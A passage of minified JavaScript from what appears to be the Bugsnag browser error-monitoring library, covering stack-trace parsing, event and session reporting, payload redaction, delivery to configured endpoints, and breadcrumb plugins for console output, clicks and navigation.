Date),this.type=n,this.message=t,this.metadata=e,this.timestamp=i}return t.prototype.toJSON=function(){return{type:this.type,name:this.message,timestamp:this.timestamp,metaData:this.metadata}},t}(),_={};!function(t,e){"use strict";"object"==typeof _?_=e():t.StackFrame=e()}(this,function(){"use strict";function t(t){return!isNaN(parseFloat(t))&&isFinite(t)}function e(t){return t.charAt(0).toUpperCase()+t.substring(1)}function n(t){return function(){return this[t]}}var i=["isConstructor","isEval","isNative","isToplevel"],r=["columnNumber","lineNumber"],o=["fileName","functionName","source"],a=i.concat(r,o,["args"]);function s(t){if(t instanceof Object)for(var n=0;n<a.length;n++)t.hasOwnProperty(a[n])&&void 0!==t[a[n]]&&this["set"+e(a[n])](t[a[n]])}s.prototype={getArgs:function(){return this.args},setArgs:function(t){if("[object Array]"!==Object.prototype.toString.call(t))throw new TypeError("Args must be an Array");this.args=t},getEvalOrigin:function(){return this.evalOrigin},setEvalOrigin:function(t){if(t instanceof s)this.evalOrigin=t;else{if(!(t instanceof Object))throw new TypeError("Eval Origin must be an Object or StackFrame");this.evalOrigin=new s(t)}},toString:function(){return(this.getFunctionName()||"{anonymous}")+"("+(this.getArgs()||[]).join(",")+")"+(this.getFileName()?"@"+this.getFileName():"")+(t(this.getLineNumber())?":"+this.getLineNumber():"")+(t(this.getColumnNumber())?":"+this.getColumnNumber():"")}};for(var u=0;u<i.length;u++)s.prototype["get"+e(i[u])]=n(i[u]),s.prototype["set"+e(i[u])]=function(t){return function(e){this[t]=Boolean(e)}}(i[u]);for(var c=0;c<r.length;c++)s.prototype["get"+e(r[c])]=n(r[c]),s.prototype["set"+e(r[c])]=function(e){return function(n){if(!t(n))throw new TypeError(e+" must be a Number");this[e]=Number(n)}}(r[c]);for(var l=0;l<o.length;l++)s.prototype["get"+e(o[l])]=n(o[l]),s.prototype["set"+e(o[l])]=function(t){return function(e){this[t]=String(e)}}(o[l]);return s});var b={};!function(t,e){"use strict";"object"==typeof b?b=e(_):t.ErrorStackParser=e(t.StackFrame)}(this,function(t){"use strict";var e=/(^|@)\S+\:\d+/,n=/^\s*at .*(\S+\:\d+|\(native\))/m,i=/^(eval@)?(\[native code\])?$/;return{parse:function(t){if(void 0!==t.stacktrace||void 0!==t["opera#sourceloc"])return this.parseOpera(t);if(t.stack&&t.stack.match(n))return this.parseV8OrIE(t);if(t.stack)return this.parseFFOrSafari(t);throw new Error("Cannot parse given Error object")},extractLocation:function(t){if(-1===t.indexOf(":"))return[t];var e=/(.+?)(?:\:(\d+))?(?:\:(\d+))?$/.exec(t.replace(/[\(\)]/g,""));return[e[1],e[2]||void 0,e[3]||void 0]},parseV8OrIE:function(e){return e.stack.split("\n").filter(function(t){return!!t.match(n)},this).map(function(e){e.indexOf("(eval ")>-1&&(e=e.replace(/eval code/g,"eval").replace(/(\(eval at [^\()]*)|(\)\,.*$)/g,""));var n=e.replace(/^\s+/,"").replace(/\(eval code/g,"("),i=n.match(/ (\((.+):(\d+):(\d+)\)$)/),r=(n=i?n.replace(i[0],""):n).split(/\s+/).slice(1),o=this.extractLocation(i?i[1]:r.pop()),a=r.join(" ")||void 0,s=["eval","<anonymous>"].indexOf(o[0])>-1?void 0:o[0];return new t({functionName:a,fileName:s,lineNumber:o[1],columnNumber:o[2],source:e})},this)},parseFFOrSafari:function(e){return e.stack.split("\n").filter(function(t){return!t.match(i)},this).map(function(e){if(e.indexOf(" > eval")>-1&&(e=e.replace(/ line (\d+)(?: > eval line \d+)* > eval\:\d+\:\d+/g,":$1")),-1===e.indexOf("@")&&-1===e.indexOf(":"))return new t({functionName:e});var n=/((.*".+"[^@]*)?[^@]*)(?:@)/,i=e.match(n),r=i&&i[1]?i[1]:void 0,o=this.extractLocation(e.replace(n,""));return new t({functionName:r,fileName:o[0],lineNumber:o[1],columnNumber:o[2],source:e})},this)},parseOpera:function(t){return!t.stacktrace||t.message.indexOf("\n")>-1&&t.message.split("\n").length>t.stacktrace.split("\n").length?this.parseOpera9(t):t.stack?this.parseOpera11(t):this.parseOpera10(t)},parseOpera9:function(e){for(var n=/Line (\d+).*script (?:in )?(\S+)/i,i=e.message.split("\n"),r=[],o=2,a=i.length;o<a;o+=2){var s=n.exec(i[o]);s&&r.push(new t({fileName:s[2],lineNumber:s[1],source:i[o]}))}return r},parseOpera10:function(e){for(var n=/Line (\d+).*script (?:in )?(\S+)(?:: In function (\S+))?$/i,i=e.stacktrace.split("\n"),r=[],o=0,a=i.length;o<a;o+=2){var s=n.exec(i[o]);s&&r.push(new t({functionName:s[3]||void 0,fileName:s[2],lineNumber:s[1],source:i[o]}))}return r},parseOpera11:function(n){return n.stack.split("\n").filter(function(t){return!!t.match(e)&&!t.match(/^Error created at/)},this).map(function(e){var n,i=e.split("@"),r=this.extractLocation(i.pop()),o=i.shift()||"",a=o.replace(/<anonymous function(: (\w+))?>/,"$2").replace(/\([^\)]*\)/g,"")||void 0;o.match(/\(([^\)]*)\)/)&&(n=o.replace(/^[^\(]+\(([^\)]*)\)$/,"$1"));var s=void 0===n||"[arguments not available]"===n?void 0:n.split(",");return new t({functionName:a,args:s,fileName:r[0],lineNumber:r[1],columnNumber:r[2],source:e})},this)}}});var k=b,w=function(t){return!(!t||!t.stack&&!t.stacktrace&&!t["opera#sourceloc"]||"string"!=typeof(t.stack||t.stacktrace||t["opera#sourceloc"])||t.stack===t.name+": "+t.message)},C=function(t){switch(Object.prototype.toString.call(t)){case"[object Error]":case"[object Exception]":case"[object DOMException]":return!0;default:return t instanceof Error}},x=function(t,e,n){if("string"==typeof e){if(!n)return void delete t[e];t[e]&&delete t[e][n]}},S=function(t,e,n,i){var r;if(e){var o;if(null===n)return x(t,e);"object"==typeof n&&(o=n),"string"==typeof n&&((r={})[n]=i,o=r),o&&(t[e]||(t[e]={}),t[e]=f({},t[e],o))}},E=function(t,e,n){if("string"==typeof e){if(!n)return t[e];if(t[e])return t[e][n]}},A=x,T={};!function(t,e){"use strict";"object"==typeof T?T=e(_):t.StackGenerator=e(t.StackFrame)}(this,function(t){return{backtrace:function(e){var n=[],i=10;"object"==typeof e&&"number"==typeof e.maxStackSize&&(i=e.maxStackSize);for(var r=arguments.callee;r&&n.length<i&&r.arguments;){for(var o=new Array(r.arguments.length),a=0;a<o.length;++a)o[a]=r.arguments[a];/function(?:\s+([\w$]+))+\s*\(/.test(r.toString())?n.push(new t({functionName:RegExp.$1||void 0,args:o})):n.push(new t({args:o}));try{r=r.caller}catch(s){break}}return n}}});var I=function(){function t(n,i,r,o,a){void 0===r&&(r=[]),void 0===o&&(o=P()),this.apiKey=void 0,this.context=void 0,this.groupingHash=void 0,this.originalError=a,this._handledState=o,this.severity=this._handledState.severity,this.unhandled=this._handledState.unhandled,this.app={},this.device={},this.request={},this.breadcrumbs=[],this.threads=[],this._metadata={},this._user={},this._session=void 0,this.errors=[{errorClass:N(n),errorMessage:N(i),type:t.__type,stacktrace:e(r,function(t,e){var n=O(e);try{return"{}"===JSON.stringify(n)?t:t.concat(n)}catch(i){return t}},[])}]}var n=t.prototype;return n.addMetadata=function(t,e,n){return S(this._metadata,t,e,n)},n.getMetadata=function(t,e){return E(this._metadata,t,e)},n.clearMetadata=function(t,e){return A(this._metadata,t,e)},n.getUser=function(){return this._user},n.setUser=function(t,e,n){this._user={id:t,email:e,name:n}},n.toJSON=function(){return{payloadVersion:"4",exceptions:d(this.errors,function(t){return f({},t,{message:t.errorMessage})}),severity:this.severity,unhandled:this._handledState.unhandled,severityReason:this._handledState.severityReason,app:this.app,device:this.device,request:this.request,breadcrumbs:this.breadcrumbs,context:this.context,groupingHash:this.groupingHash,metaData:this._metadata,user:this._user,session:this._session}},t}(),O=function(t){var e={file:t.fileName,method:R(t.functionName),lineNumber:t.lineNumber,columnNumber:t.columnNumber,code:void 0,inProject:void 0};return e.lineNumber>-1&&!e.file&&!e.method&&(e.file="global code"),e},R=function(t){return/^global code$/i.test(t)?"global code":t},P=function(){return{unhandled:!1,severity:"warning",severityReason:{type:"handledException"}}},N=function(t){return"string"==typeof t?t:""};I.getStacktrace=function(t,e,i){if(w(t))return k.parse(t).slice(e);try{return n(T.backtrace(),function(t){return-1===(t.functionName||"").indexOf("StackGenerator$$")}).slice(1+i)}catch(r){return[]}},I.create=function(t,e,n,i,r,o){void 0===r&&(r=0);var a,s=L(t,e,i,o),u=s[0],c=s[1];try{var l=I.getStacktrace(u,c>0?1+c+r:0,1+r);a=new I(u.name,u.message,l,n,t)}catch(h){a=new I(u.name,u.message,[],n,t)}return"InvalidError"===u.name&&a.addMetadata(""+i,"non-error parameter",D(t)),a};var D=function(t){return null===t?"null":void 0===t?"undefined":t},L=function(t,e,n,i){var r,o=0,a=function(t){i&&i.warn(n+' received a non-error: "'+t+'"');var e=new Error(n+' received a non-error. See "'+n+'" tab for more detail.');return e.name="InvalidError",e};if(e)switch(typeof t){case"string":case"number":case"boolean":r=new Error(String(t)),o+=1;break;case"function":r=a("function"),o+=2;break;case"object":null!==t&&C(t)?r=t:null!==t&&M(t)?((r=new Error(t.message||t.errorMessage)).name=t.name||t.errorClass,o+=1):(r=a(null===t?"null":"unsupported object"),o+=2);break;default:r=a("nothing"),o+=2}else C(t)?r=t:(r=a(typeof t),o+=2);if(!w(r))try{throw r}catch(s){w(s)&&(r=s,o=1)}return[r,o]};I.__type="browserjs";var M=function(t){return!("string"!=typeof t.name&&"string"!=typeof t.errorClass||"string"!=typeof t.message&&"string"!=typeof t.errorMessage)},F=I,U=function(t,e,n,i){for(var r=!1,o=t.slice();!r&&o.length;)try{r=!1===o.pop()(e)}catch(a){i.error("Error occurred in "+n+" callback, continuing anyway\u2026"),i.error(a)}return r},B=function(t,e){var n="000000000"+t;return n.substr(n.length-e)},j="object"==typeof window?window:self,H=0;for(var V in j)Object.hasOwnProperty.call(j,V)&&H++;var G=navigator.mimeTypes?navigator.mimeTypes.length:0,Y=B((G+navigator.userAgent.length).toString(36)+H.toString(36),4),q=function(){return Y},z=0,Z=Math.pow(36,4);function W(){return B((Math.random()*Z<<0).toString(36),4)}function J(){return"c"+(new Date).getTime().toString(36)+B((z=z<Z?z:0,++z-1).toString(36),4)+q()+(W()+W())}J.fingerprint=q;var Q=J,K=function(){function t(){this.id=Q(),this.startedAt=new Date,this._handled=0,this._unhandled=0,this._user={},this.app={},this.device={}}var e=t.prototype;return e.getUser=function(){return this._user},e.setUser=function(t,e,n){this._user={id:t,email:e,name:n}},e.toJSON=function(){return{id:this.id,startedAt:this.startedAt,events:{handled:this._handled,unhandled:this._unhandled}}},e._track=function(t){this[t._handledState.unhandled?"_unhandled":"_handled"]+=1},t}(),X=function(){},$=function(){function r(t,e,n,i){var o=this;void 0===e&&(e=h.schema),void 0===n&&(n=[]),this._notifier=i,this._config={},this._schema=e,this._delivery={sendSession:X,sendEvent:X},this._logger={debug:X,info:X,warn:X,error:X},this._plugins={},this._breadcrumbs=[],this._session=null,this._metadata={},this._context=void 0,this._user={},this._cbs={e:[],s:[],sp:[],b:[]},this.Client=r,this.Event=F,this.Breadcrumb=y,this.Session=K,this._config=this._configure(t,n),d(n.concat(this._config.plugins),function(t){t&&o._loadPlugin(t)}),this._depth=1;var a=this,s=this.notify;this.notify=function(){return s.apply(a,arguments)}}var o=r.prototype;return o.addMetadata=function(t,e,n){return S(this._metadata,t,e,n)},o.getMetadata=function(t,e){return E(this._metadata,t,e)},o.clearMetadata=function(t,e){return A(this._metadata,t,e)},o.getContext=function(){return this._context},o.setContext=function(t){this._context=t},o._configure=function(t,n){var i=e(n,function(t,e){return e&&e.configSchema?f({},t,e.configSchema):t},this._schema),r=e(s(i),function(e,n){var r=i[n].defaultValue(t[n]);return void 0!==t[n]?i[n].validate(t[n])?e.config[n]=i[n].allowPartialObject?f(r,t[n]):t[n]:(e.errors[n]=i[n].message,e.config[n]=r):e.config[n]=r,e},{errors:{},config:{}}),o=r.errors,a=r.config;if(i.apiKey){if(!a.apiKey)throw new Error("No Bugsnag API Key set");/^[0-9a-f]{32}$/i.test(a.apiKey)||(o.apiKey="should be a string of 32 hexadecimal characters")}return this._metadata=f({},a.metadata),this._user=f({},a.user),this._context=a.context,a.logger&&(this._logger=a.logger),a.onError&&(this._cbs.e=this._cbs.e.concat(a.onError)),a.onBreadcrumb&&(this._cbs.b=this._cbs.b.concat(a.onBreadcrumb)),a.onSession&&(this._cbs.s=this._cbs.s.concat(a.onSession)),s(o).length&&this._logger.warn(tt(o,t)),a},o.getUser=function(){return this._user},o.setUser=function(t,e,n){this._user={id:t,email:e,name:n}},o._loadPlugin=function(t){var e=t.load(this);return t.name&&(this._plugins["~"+t.name+"~"]=e),this},o.getPlugin=function(t){return this._plugins["~"+t+"~"]},o._setDelivery=function(t){this._delivery=t(this)},o.startSession=function(){var t=new K;return t.app.releaseStage=this._config.releaseStage,t.app.version=this._config.appVersion,t.app.type=this._config.appType,t._user=f({},this._user),U(this._cbs.s,t,"onSession",this._logger)?(this._logger.debug("Session not started due to onSession callback"),this):this._sessionDelegate.startSession(this,t)},o.addOnError=function(t,e){void 0===e&&(e=!1),this._cbs.e[e?"unshift":"push"](t)},o.removeOnError=function(t){this._cbs.e=n(this._cbs.e,function(e){return e!==t})},o._addOnSessionPayload=function(t){this._cbs.sp.push(t)},o.addOnSession=function(t){this._cbs.s.push(t)},o.removeOnSession=function(t){this._cbs.s=n(this._cbs.s,function(e){return e!==t})},o.addOnBreadcrumb=function(t,e){void 0===e&&(e=!1),this._cbs.b[e?"unshift":"push"](t)},o.removeOnBreadcrumb=function(t){this._cbs.b=n(this._cbs.b,function(e){return e!==t})},o.pauseSession=function(){return this._sessionDelegate.pauseSession(this)},o.resumeSession=function(){return this._sessionDelegate.resumeSession(this)},o.leaveBreadcrumb=function(e,n,r){if(e="string"==typeof e?e:"",r="string"==typeof r&&i(t,r)?r:"manual",n="object"==typeof n&&null!==n?n:{},e){var o=new y(e,n,r);if(U(this._cbs.b,o,"onBreadcrumb",this._logger))return void this._logger.debug("Breadcrumb not attached due to onBreadcrumb callback");this._breadcrumbs.push(o),this._breadcrumbs.length>this._config.maxBreadcrumbs&&(this._breadcrumbs=this._breadcrumbs.slice(this._breadcrumbs.length-this._config.maxBreadcrumbs))}},o._isBreadcrumbTypeEnabled=function(t){var e=this._config.enabledBreadcrumbTypes;return null===e||i(e,t)},o.notify=function(t,e,n){void 0===n&&(n=X);var i=F.create(t,!0,void 0,"notify()",this._depth+1,this._logger);this._notify(i,e,n)},o._notify=function(t,e,n){var o=this;if(void 0===n&&(n=X),t.app=f({},t.app,{releaseStage:this._config.releaseStage,version:this._config.appVersion,type:this._config.appType}),t.context=t.context||this._context,t._metadata=f({},t._metadata,this._metadata),t._user=f({},t._user,this._user),t.breadcrumbs=this._breadcrumbs.slice(),null!==this._config.enabledReleaseStages&&!i(this._config.enabledReleaseStages,this._config.releaseStage))return this._logger.warn("Event not sent due to releaseStage/enabledReleaseStages configuration"),n(null,t);var a=t.severity,s=function(t){o._logger.error("Error occurred in onError callback, continuing anyway\u2026"),o._logger.error(t)};!function(t,e,n,i){!function(t,e,n){var i=0;!function r(){if(i>=t.length)return n(null,!0);e(t[i],function(t,e){return t?n(t):!1===e?n(null,!1):(i++,void r())})}()}(t,function(t,i){if("function"!=typeof t)return i(null);try{if(2!==t.length){var r=t(e);return r&&"function"==typeof r.then?r.then(function(t){return setTimeout(function(){return i(null,t)})},function(t){setTimeout(function(){return n(t),i(null,!0)})}):i(null,r)}t(e,function(t,e){if(t)return n(t),i(null);i(null,e)})}catch(s){n(s),i(null)}},i)}([].concat(this._cbs.e).concat(e),t,s,function(e,i){if(e&&s(e),!i)return o._logger.debug("Event not sent due to onError callback"),n(null,t);o._isBreadcrumbTypeEnabled("error")&&r.prototype.leaveBreadcrumb.call(o,t.errors[0].errorClass,{errorClass:t.errors[0].errorClass,errorMessage:t.errors[0].errorMessage,severity:t.severity},"error"),a!==t.severity&&(t._handledState.severityReason={type:"userCallbackSetSeverity"}),t.unhandled!==t._handledState.unhandled&&(t._handledState.severityReason.unhandledOverridden=!0,t._handledState.unhandled=t.unhandled),o._session&&(o._session._track(t),t._session=o._session),o._delivery.sendEvent({apiKey:t.apiKey||o._config.apiKey,notifier:o._notifier,events:[t]},function(e){return n(e,t)})})},r}(),tt=function(t,e){return new Error("Invalid configuration\n"+d(s(t),function(n){return" - "+n+" "+t[n]+", got "+et(e[n])}).join("\n\n"))},et=function(t){switch(typeof t){case"string":case"number":case"object":return JSON.stringify(t);default:return String(t)}},nt=$,it=function(t,e,n,i){return JSON.stringify(function(t,e,n){var i=[],r=0;return function t(o,a){function s(){return a.length>8&&r>25e3}if(r++,a.length>20||s())return rt;if(null===o||"object"!=typeof o)return o;if(function(t,e){for(var n=0,i=t.length;n<i;n++)if(t[n]===e)return!0;return!1}(i,o))return"[Circular]";if(i.push(o),"function"==typeof o.toJSON)try{r--;var u=t(o.toJSON(),a);return i.pop(),u}catch(v){return ot(v)}if(function(t){return t instanceof Error||/^\[object (Error|(Dom)?Exception)\]$/.test(Object.prototype.toString.call(t))}(o)){r--;var c=t({name:o.name,message:o.message},a);return i.pop(),c}if(function(t){return"[object Array]"===Object.prototype.toString.call(t)}(o)){for(var l=[],h=0,f=o.length;h<f;h++){if(s()){l.push(rt);break}l.push(t(o[h],a.concat("[]")))}return i.pop(),l}var d={};try{for(var p in o)if(Object.prototype.hasOwnProperty.call(o,p)){if(at(n,a.join("."))&&st(e,p)){d[p]="[REDACTED]";continue}if(s()){d[p]=rt;break}d[p]=t(ut(o,p),a.concat(p))}}catch(v){}return i.pop(),d}(t,[])}(t,i&&i.redactedKeys?i.redactedKeys:[],i&&i.redactedPaths?i.redactedPaths:[]),e,n)},rt="...";function ot(t){return"[Throws: "+(t?t.message:"?")+"]"}function at(t,e){for(var n=0,i=t.length;n<i;n++)if(0===e.indexOf(t[n]))return!0;return!1}function st(t,e){for(var n=0,i=t.length;n<i;n++)if("string"==typeof t[n]&&t[n].toLowerCase()===e.toLowerCase()||t[n]&&"function"==typeof t[n].test&&t[n].test(e))return!0;return!1}function ut(t,e){try{return t[e]}catch(n){return ot(n)}}var ct,lt={},ht=["events.[].metaData","events.[].breadcrumbs.[].metaData","events.[].request"];lt.event=function(t,e){var n=it(t,null,null,{redactedPaths:ht,redactedKeys:e});if(n.length>1e6&&(t.events[0]._metadata={notifier:"WARNING!\nSerialized payload was "+n.length/1e6+"MB (limit = 1MB)\nmetadata was removed"},(n=it(t,null,null,{redactedPaths:ht,redactedKeys:e})).length>1e6))throw new Error("payload exceeded 1MB limit");return n},lt.session=function(t,e){var n=it(t,null,null);if(n.length>1e6)throw new Error("payload exceeded 1MB limit");return n},ct=function(t,e){return void 0===e&&(e=window),{sendEvent:function(n,i){void 0===i&&(i=function(){});var r=ft(t._config,"notify","4",e),o=new e.XDomainRequest;o.onload=function(){i(null)},o.open("POST",r),setTimeout(function(){try{o.send(lt.event(n,t._config.redactedKeys))}catch(e){t._logger.error(e),i(e)}},0)},sendSession:function(n,i){void 0===i&&(i=function(){});var r=ft(t._config,"sessions","1",e),o=new e.XDomainRequest;o.onload=function(){i(null)},o.open("POST",r),setTimeout(function(){try{o.send(lt.session(n,t._config.redactedKeys))}catch(e){t._logger.error(e),i(e)}},0)}}};var ft=function(t,e,n,i){var r=JSON.parse(JSON.stringify(new Date));return dt(t.endpoints[e],i.location.protocol)+"?apiKey="+encodeURIComponent(t.apiKey)+"&payloadVersion="+n+"&sentAt="+encodeURIComponent(r)},dt=ct._matchPageProtocol=function(t,e){return"http:"===e?t.replace(/^https:/,"http:"):t},pt=function(t,e){return void 0===e&&(e=window),{sendEvent:function(n,i){void 0===i&&(i=function(){});try{var r=t._config.endpoints.notify,o=new e.XMLHttpRequest;o.onreadystatechange=function(){o.readyState===e.XMLHttpRequest.DONE&&i(null)},o.open("POST",r),o.setRequestHeader("Content-Type","application/json"),o.setRequestHeader("Bugsnag-Api-Key",n.apiKey||t._config.apiKey),o.setRequestHeader("Bugsnag-Payload-Version","4"),o.setRequestHeader("Bugsnag-Sent-At",(new Date).toISOString()),o.send(lt.event(n,t._config.redactedKeys))}catch(a){t._logger.error(a)}},sendSession:function(n,i){void 0===i&&(i=function(){});try{var r=t._config.endpoints.sessions,o=new e.XMLHttpRequest;o.onreadystatechange=function(){o.readyState===e.XMLHttpRequest.DONE&&i(null)},o.open("POST",r),o.setRequestHeader("Content-Type","application/json"),o.setRequestHeader("Bugsnag-Api-Key",t._config.apiKey),o.setRequestHeader("Bugsnag-Payload-Version","1"),o.setRequestHeader("Bugsnag-Sent-At",(new Date).toISOString()),o.send(lt.session(n,t._config.redactedKeys))}catch(a){t._logger.error(a)}}}},vt=new Date,mt=function(){vt=new Date},gt={name:"appDuration",load:function(t){return t.addOnError(function(t){var e=new Date;t.app.duration=e-vt},!0),{reset:mt}}},yt=function(t){return void 0===t&&(t=window),{load:function(e){e.addOnError(function(e){void 0===e.context&&(e.context=t.location.pathname)},!0)}}},_t=function(t,e){var n="000000000"+t;return n.substr(n.length-e)},bt="object"==typeof window?window:self,kt=0;for(var wt in bt)Object.hasOwnProperty.call(bt,wt)&&kt++;var Ct=navigator.mimeTypes?navigator.mimeTypes.length:0,xt=_t((Ct+navigator.userAgent.length).toString(36)+kt.toString(36),4),St=function(){return xt},Et=0,At=Math.pow(36,4);function Tt(){return _t((Math.random()*At<<0).toString(36),4)}function It(){return"c"+(new Date).getTime().toString(36)+_t((Et=Et<At?Et:0,++Et-1).toString(36),4)+St()+(Tt()+Tt())}It.fingerprint=St;var Ot=It,Rt="bugsnag-anonymous-id",Pt=function(t,e){return void 0===t&&(t=navigator),void 0===e&&(e=window.screen),{load:function(n){var i={locale:t.browserLanguage||t.systemLanguage||t.userLanguage||t.language,userAgent:t.userAgent};i.orientation=e&&e.orientation&&e.orientation.type?e.orientation.type:document.documentElement.clientWidth>document.documentElement.clientHeight?"landscape":"portrait",n._config.generateAnonymousId&&(i.id=function(){try{var t=window.localStorage,e=t.getItem(Rt);return e&&/^c[a-z0-9]{20,32}$/.test(e)||(e=Ot(),t.setItem(Rt,e)),e}catch(n){}}()),n.addOnSession(function(t){t.device=f({},t.device,i),n._config.collectUserIp||Nt(t)}),n.addOnError(function(t){t.device=f({},t.device,i,{time:new Date}),n._config.collectUserIp||Nt(t)},!0)},configSchema:{generateAnonymousId:{validate:function(t){return!0===t||!1===t},defaultValue:function(){return!0},message:"should be true|false"}}}},Nt=function(t){var e=t.getUser();(!e||!e.id)&&t.setUser(t.device.id)},Dt=function(t){return void 0===t&&(t=window),{load:function(e){e.addOnError(function(e){e.request&&e.request.url||(e.request=f({},e.request,{url:t.location.href}))},!0)}}},Lt={load:function(t){t._sessionDelegate=Mt}},Mt={startSession:function(t,e){var n=t;return n._session=e,n._pausedSession=null,null===n._config.enabledReleaseStages||i(n._config.enabledReleaseStages,n._config.releaseStage)?(n._delivery.sendSession({notifier:n._notifier,device:e.device,app:e.app,sessions:[{id:e.id,startedAt:e.startedAt,user:e._user}]}),n):(n._logger.warn("Session not sent due to releaseStage/enabledReleaseStages configuration"),n)},resumeSession:function(t){return t._session?t:t._pausedSession?(t._session=t._pausedSession,t._pausedSession=null,t):t.startSession()},pauseSession:function(t){t._pausedSession=t._session,t._session=null}},Ft={load:function(t){t._config.collectUserIp||t.addOnError(function(t){t._user&&void 0===t._user.id&&delete t._user.id,t._user=f({id:"[REDACTED]"},t._user),t.request=f({clientIp:"[REDACTED]"},t.request)})},configSchema:{collectUserIp:{defaultValue:function(){return!0},message:"should be true|false",validate:function(t){return!0===t||!1===t}}}},Ut={load:function(t){/^(local-)?dev(elopment)?$/.test(t._config.releaseStage)||!t._isBreadcrumbTypeEnabled("log")||d(Bt,function(n){var i=console[n];console[n]=function(){for(var r=arguments.length,o=new Array(r),a=0;a<r;a++)o[a]=arguments[a];t.leaveBreadcrumb("Console output",e(o,function(t,e,n){var i="[Unknown value]";try{i=String(e)}catch(r){}if("[object Object]"===i)try{i=JSON.stringify(e)}catch(r){}return t["["+n+"]"]=i,t},{severity:0===n.indexOf("group")?"log":n}),"log"),i.apply(console,o)},console[n]._restore=function(){console[n]=i}})}},Bt=n(["log","debug","info","warn","error"],function(t){return"undefined"!=typeof console&&"function"==typeof console[t]}),jt=function(t,i){return void 0===t&&(t=document),void 0===i&&(i=window),{load:function(r){if(r._config.trackInlineScripts){var o=i.location.href,a="",s=t.attachEvent?"complete"===t.readyState:"loading"!==t.readyState,u=function(){return t.documentElement.outerHTML};a=u();var c=t.onreadystatechange;t.onreadystatechange=function(){"interactive"===t.readyState&&(a=u(),s=!0);try{c.apply(this,arguments)}catch(e){}};var l=null,h=function(t){l=t},f=function(){var e=t.currentScript||l;if(!e&&!s){var n=t.scripts||t.getElementsByTagName("script");e=n[n.length-1]}return e};r.addOnError(function(t){t.errors[0].stacktrace=n(t.errors[0].stacktrace,function(t){return!/__trace__$/.test(t.method)});var i=t.errors[0].stacktrace[0];if(!i||!i.file||i.file.replace(/#.*$/,"")===o.replace(/#.*$/,"")){var r=f();if(r){var c=r.innerHTML;t.addMetadata("script","content",c.length<=5e5?c:c.substr(0,5e5)),i&&i.lineNumber&&(i.code=function(t){(!s||!a)&&(a=u());var n=["\x3c!-- DOC START --\x3e"].concat(a.split("\n")),i=t-1,r=Math.max(i-3,0),o=Math.min(i+3,n.length);return e(n.slice(r,o),function(t,e,n){return t[r+1+n]=e.length<=200?e:e.substr(0,200),t},{})}(i.lineNumber))}}},!0);var p=d(["setTimeout","setInterval","setImmediate","requestAnimationFrame"],function(t){return Ht(i,t,function(t){return v(t,function(t){return{get:function(){return t[0]},replace:function(e){t[0]=e}}})})})[0];d(["EventTarget","Window","Node","ApplicationCache","AudioTrackList","ChannelMergerNode","CryptoOperation","EventSource","FileReader","HTMLUnknownElement","IDBDatabase","IDBRequest","IDBTransaction","KeyOperation","MediaController","MessagePort","ModalWindow","Notification","SVGElementInstance","Screen","TextTrack","TextTrackCue","TextTrackList","WebSocket","WebSocketWorker","Worker","XMLHttpRequest","XMLHttpRequestEventTarget","XMLHttpRequestUpload"],function(t){!i[t]||!i[t].prototype||!Object.prototype.hasOwnProperty.call(i[t].prototype,"addEventListener")||(Ht(i[t].prototype,"addEventListener",function(t){return v(t,Vt)}),Ht(i[t].prototype,"removeEventListener",function(t){return v(t,Vt,!0)}))})}function v(t,e,n){return void 0===n&&(n=!1),function(){var i=[].slice.call(arguments);try{var r=e(i),o=r.get();if(n&&t.apply(this,i),"function"!=typeof o)return t.apply(this,i);if(o.__trace__)r.replace(o.__trace__);else{var a=f();o.__trace__=function(){h(a),p(function(){h(null)},0);var t=o.apply(this,arguments);return h(null),t},o.__trace__.__trace__=o.__trace__,r.replace(o.__trace__)}}catch(s){}if(t.apply)return t.apply(this,i);switch(i.length){case 1:return t(i[0]);case 2:return t(i[0],i[1]);default:return t()}}}},configSchema:{trackInlineScripts:{validate:function(t){return!0===t||!1===t},defaultValue:function(){return!0},message:"should be true|false"}}}};function Ht(t,e,n){var i=t[e];if(!i)return i;var r=n(i);return t[e]=r,i}function Vt(t){var e=!!t[1]&&"function"==typeof t[1].handleEvent;return{get:function(){return e?t[1].handleEvent:t[1]},replace:function(n){e?t[1].handleEvent=n:t[1]=n}}}var Gt,Yt=function(t){return void 0===t&&(t=window),{load:function(e){"addEventListener"in t&&(!e._isBreadcrumbTypeEnabled("user")||t.addEventListener("click",function(n){var i,r;try{i=qt(n.target),r=zt(n.target,t)}catch(o){i="[hidden]",r="[hidden]",e._logger.error("Cross domain error when tracking click event. See docs: https://tinyurl.com/yy3rn63z")}e.leaveBreadcrumb("UI click",{targetText:i,targetSelector:r},"user")},!0))}}},qt=function(t){var e=t.textContent||t.innerText||"";return!e&&("submit"===t.type||"button"===t.type)&&(e=t.value),function(t,e){var n="(...)";return t&&t.length<=140?t:t.slice(0,140-n.length)+n}(e=e.replace(/^\s+|\s+$/g,""))};function zt(t,e){var n=[t.tagName];if(t.id&&n.push("#"+t.id),t.className&&t.className.length&&n.push("."+t.className.split(" ").join(".")),!e.document.querySelectorAll||!Array.prototype.indexOf)return n.join("");try{if(1===e.document.querySelectorAll(n.join("")).length)return n.join("")}catch(r){return n.join("")}if(t.parentNode.childNodes.length>1){var i=Array.prototype.indexOf.call(t.parentNode.childNodes,t)+1;n.push(":nth-child("+i+")")}return 1===e.document.querySelectorAll(n.join("")).length?n.join(""):t.parentNode?zt(t.parentNode,e)+" > "+n.join(""):n.join("")}Gt=function(t){return void 0===t&&(t=window),{load:function(e){if("addEventListener"in t&&e._isBreadcrumbTypeEnabled("navigation")){var n=function(t){return function(){return e.leaveBreadcrumb(t,{},"navigation")}};t.addEventListener("pagehide",n("Page hidden"),!0),t.addEventListener("pageshow",n("Page shown"),!0),t.addEventListener("load",n("Page loaded"),!0),t.document.addEventListener("DOMContentLoaded",n("DOMContentLoaded"),!0),t.addEventListener("load",function(){return t.addEventListener("popstate",n("Navigated back"),!0)}),t.addEventListener("hashchange",function(n){var i=n.oldURL?{from:Zt(n.oldURL,t),to:Zt(n.newURL,t),state:Jt(t)}:{to:Zt(t.location.href,t)};e.leaveBreadcrumb("Hash changed",i,"navigation")},!0),t.history.replaceState&&Wt(e,t.history,"replaceState",t),t.history.pushState&&Wt(e,t.history,"pushState",t)}}}};var Zt=function(t,e){var n=e.document.createElement("A");return n.href=t,""+n.pathname+n.search+n.hash},Wt=function(t,e,n,i){var r=e[n];e[n]=function(o,a,s){t.leaveBreadcrumb("History "+n,function(t,e,n,i){var r=Zt(t.location.href,t);return{title:n,state:e,prevState:Jt(t),to:i||r,from:r}}(i,o,a,s),"navigation"),"function"==typeof 